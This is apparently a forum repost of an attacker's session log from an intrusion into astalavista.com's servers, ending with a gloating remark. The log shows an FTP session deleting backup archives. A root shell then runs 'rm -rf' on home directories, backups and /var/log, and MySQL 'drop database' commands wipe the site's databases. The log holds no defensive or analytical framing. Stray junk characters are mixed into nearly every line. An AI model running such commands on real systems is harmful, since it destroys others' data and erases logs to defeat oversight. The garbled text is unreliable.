E2 N: U- G. x8 x, \4 V7 ?250 CWD command successful.
" r, F: v% f, Lftp> ls -la' ], c( h; Y/ u; Q: v0 Q
227 Entering Passive Mode (212,254,194,163,2,189)4 g) [: P9 K q: J. R* a" V+ k/ a
150 Opening BINARY mode data connection for ‘file list’.
7 t2 G: L. I( K3 N" f8 f) Q-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar& ~( `1 v% Y# h- D' q
-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz21 a) ^+ P" ~( _+ C: e( J
-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
7 ^- B1 h A8 g8 S6 k! H-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar ]1 ^! e5 C) a! ~& Y2 C, ~
-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar
; [; W0 g5 H5 b B[snip]) v9 {5 t, M, J- r! E
226 Transfer complete.
3 ]1 P# e1 f2 r/ G( a/ c7 `ftp> mdelete *$ T& ? {& s+ P7 m+ B
ftp> ls -la) D7 ^8 Q1 R7 n2 m* U2 G
227 Entering Passive Mode (212,254,194,163,2,193)# h( \% O' x$ W' S/ U
150 Opening BINARY mode data connection for ‘file list’.8 w2 N; z+ g" G( A
226 Transfer complete./ y6 p: b/ \ N
ftp>/ P; p" r o4 o( F
5 ?" o( e: W) j& e" h$ |sh-3.2# cd /home' K2 [8 C- M+ |9 R6 y2 N
sh-3.2# ls -la' j7 J' p u2 C5 {
total 1207 l/ A- T1 a) p: R
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .3 s& j+ S: y2 e+ t5 N! D9 |
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..* ~7 j, w! A2 n& ?9 ~6 |8 ^+ \
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin T9 u# c y+ ` u* R# X# Z
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
) R* U) A! R+ G-rw——- 1 root root 8192 Jun 3 02:45 aquota.user5 `4 T3 y" b( R! w- k
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet' C+ J; j4 G7 q& x) L
drwxr-xr-x 2 root root 4096 Jul 29 2008 backup9 f. w& h7 t u' q# z: k# B4 z
drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
5 Y5 y' V/ L; Z# t, h6 u4 Gdrwx–x–x 10 com com 4096 Apr 28 12:40 com
+ T" q" N8 x$ n7 D/ W* |6 q; jdrwxr-xr-x 2 root root 4096 May 17 2007 ftp0 y" A; B& J, N$ z2 |; o
drwx—— 3 jon jon 4096 Sep 21 2007 jon6 c: K8 B2 [8 V- ~! }! B: x; d7 K) O' ?
drwx—— 2 root root 16384 Sep 11 2007 lost+found
3 q q/ D) u9 d4 Ydrwxr-xr-x 2 root root 4096 Sep 14 2007 my, c( B: s$ y6 ]* e! M& x5 U, x/ O6 s
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata# m9 b/ x+ {! O3 r! [6 ]& I
drwx—— 2 jon jon 4096 Sep 15 2007 test
' f& @/ D* N/ z+ @# kdrwxrwxrwt 2 root root 4096 Jul 29 2008 tmp* s' |$ \/ r4 C0 K/ G* a: D. N! h
. N: l( ~: Z5 {sh-3.2# rm -rf backup/3 Z- x- ~9 ~0 o; ]0 `9 ]
sh-3.2# rm -rf backup.14161/# g+ e# J0 o9 J/ {+ d8 @" c
sh-3.2# rm -rf ftp/* ~; P8 j+ w6 Y0 |! ?, @8 o
sh-3.2# rm -rf jon/; X) J$ S g. p/ S/ |
sh-3.2# rm -rf my/+ q5 e, `: ?! K+ ]! c
sh-3.2# rm -rf mysqldata/. g, ~6 t! X, ~1 h. r# m6 c
sh-3.2# rm -rf test/
, d7 v' Y1 e7 r4 E. J' l: ush-3.2# rm -rf tmp/
' b! }) ?% R4 X7 x8 jsh-3.2# cd ~
$ c0 {' q! {0 q( Q: lsh-3.2# rm -rf *$ F' g1 P1 t+ z; C+ O8 R) \
sh-3.2# rm -rf /var/log/! ^( I* W8 N7 X: l. M' a% S, [# l
rm: cannot remove directory `/var/log//proftpd’: Directory not empty z& w! M& g& w) z( D- p1 S k
sh-3.2# rm -rf /home/*1 H" ^1 T7 P, i9 ^( K3 k) L
sh-3.2# mysql
M% n+ {2 h, M9 |! y& Q |% G4 b JWelcome to the MySQL monitor. Commands end with ; or \g.
" d: o% c' C6 mYour MySQL connection id is 407156. ]$ t# h+ V' M- v8 L2 F- ]
Server version: 5.0.45-community-log MySQL Community Edition (GPL)* C. r/ F- P2 q/ F# a1 C
- C& [1 j) v# w$ N* t) ~Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
) h9 f( Q( C- B% G) f/ C+ P5 y9 {0 @% ~) ~1 D
mysql> show databases;
! }, ? d5 {- q2 a+———————–+3 t' n5 `5 ]7 m- g$ ?1 I& s
| Database |
6 W2 E3 P- Z/ e# e5 t9 q+———————–+$ p% M) v Z( m7 f5 o" o- K
| information_schema |/ s" H( |0 W2 q c" o% t( K7 [2 b
| astanet_ads |
3 C0 W. @( k9 K* ?) M$ L z| astanet_mailing_lists |, t. [/ O8 {; ]9 k6 ~ ]- I+ {3 a4 w
| astanet_mediawiki |
: s9 O% A4 l! |4 t, D1 W" y3 S+ {| astanet_membersystem |* i% Y: T9 [; c& I
| com_contrexx |$ u4 p0 J6 {+ @' N( ], J4 A! J
| com_contrexx2 |7 o8 x- t0 Q3 N1 K" D
| com_contrexx2_live |' Q7 [5 h A/ G
| da_roundcube |7 C0 N1 V( p8 s9 c4 u) l' C
| dolphin |
" V& I; x1 B7 G8 O5 [| ideapool |
+ a5 w1 h1 t+ w% E5 U# D| mysql |# S' H, e4 r) ]+ Q+ ^1 H0 R$ X
| test |
# C- E& X9 w/ a! w2 C* U' v| yourmaster |, \; p0 D, n% i' l
+———————–+' D6 M. ]9 \+ t
14 rows in set (0.03 sec)
+ H$ _: Q H U7 S K0 u2 [
, W; Q+ b/ V! K @9 Xmysql> drop database astanet_membersystem;1 q+ G7 O, p: I- K3 P
droQuery OK, 46 rows affected (0.81 sec)
9 n. Q4 U; S% H
( b5 w( e6 J& _! z& U1 Tmysql> drop database com_contrexx;* d( e( e9 q# R% ?
Query OK, 211 rows affected (2.72 sec)
& o* @* Z6 W, m; n
' c$ }$ u) j! Q4 Emysql> drop database com_contrexx2;
% M( b, J3 ]3 uQuery OK, 237 rows affected (2.23 sec) c5 V, v7 a$ Y% @+ i2 v
9 [0 M; ^7 k" C* C' R; [
mysql> drop database com_contrexx2_live;
; B; Z1 b) n1 g c6 H/ WQuery OK, 227 rows affected (7.63 sec); a6 v6 r+ F( A& j
X) T8 M; _- z9 h/ g8 z/ Amysql> drop database ideapool;
! i" m; z" u' n9 Y$ W8 pQuery OK, 69 rows affected (0.19 sec)
# W% Y* F* b5 J2 Z! k/ c7 e5 Q8 ^8 {" r) b ~( o* x0 s. N4 C
mysql> drop database yourmaster;6 [) y! A6 ]- H5 s0 D
Query OK, 158 rows affected (0.55 sec)
& m6 z9 I2 D2 F' t* a0 B( ^: }1 a* h1 w1 R
mysql> drop database astanet_ads;/ |& z1 n! k7 N4 w' |4 l& W/ o9 V( H0 o
Query OK, 9 rows affected (0.11 sec): N v. K4 y8 |* @! w8 s7 j
/ n8 ]; E: r" @2 Emysql> drop database astanet_mailing_lists;8 d- f/ g4 P8 l. J0 w0 O* _
Query OK, 24 rows affected (1.47 sec)
2 l: A9 [2 M$ s
; ^: G8 D Y. tmysql> drop database astanet_mediawiki;
+ I# p7 z- H# J- S" E! S: MQuery OK, 31 rows affected (0.51 sec)
) O( q4 z, M3 }0 |6 ^. [$ @& c* ?- m4 B1 b: r
mysql> show databases;/ u& v J. v P/ _; x
+——————–+4 y; M/ N, H6 r4 q
| Database |- L) n' P' A$ S& e) e: b8 |
+——————–+! m% Q% X& G) F
| information_schema |
K8 H$ G& P1 X# Q* H* j0 p| da_roundcube |% K; d5 e2 D; e1 h" a
| dolphin |
2 [ I$ D- ~( _. Y% M; z% S| mysql |) |$ C& D) A) n" v/ B
| test |
+ r2 ~$ E9 l7 Y: E+——————–+
8 ^1 Z' w9 |. o+ S: m. V* f5 rows in set (0.00 sec)+ z3 u# D& R' g5 x) t1 ]* P
M- T8 X4 g! d$ D
What a journey! We’re not sure exactly why the “Terminator” had any influence on
& M3 Y" m! E/ atheir naming (conventions) but we’re sure Arnold himself wouldn’t be in the
' l' K$ _# p5 U! y# kwrong to say this pack of morons *wont be back*.
9 C# M' \& R/ h) n# j ]+ ^ |
发表于 2012-11-6 21:07:34
收藏
支持
反对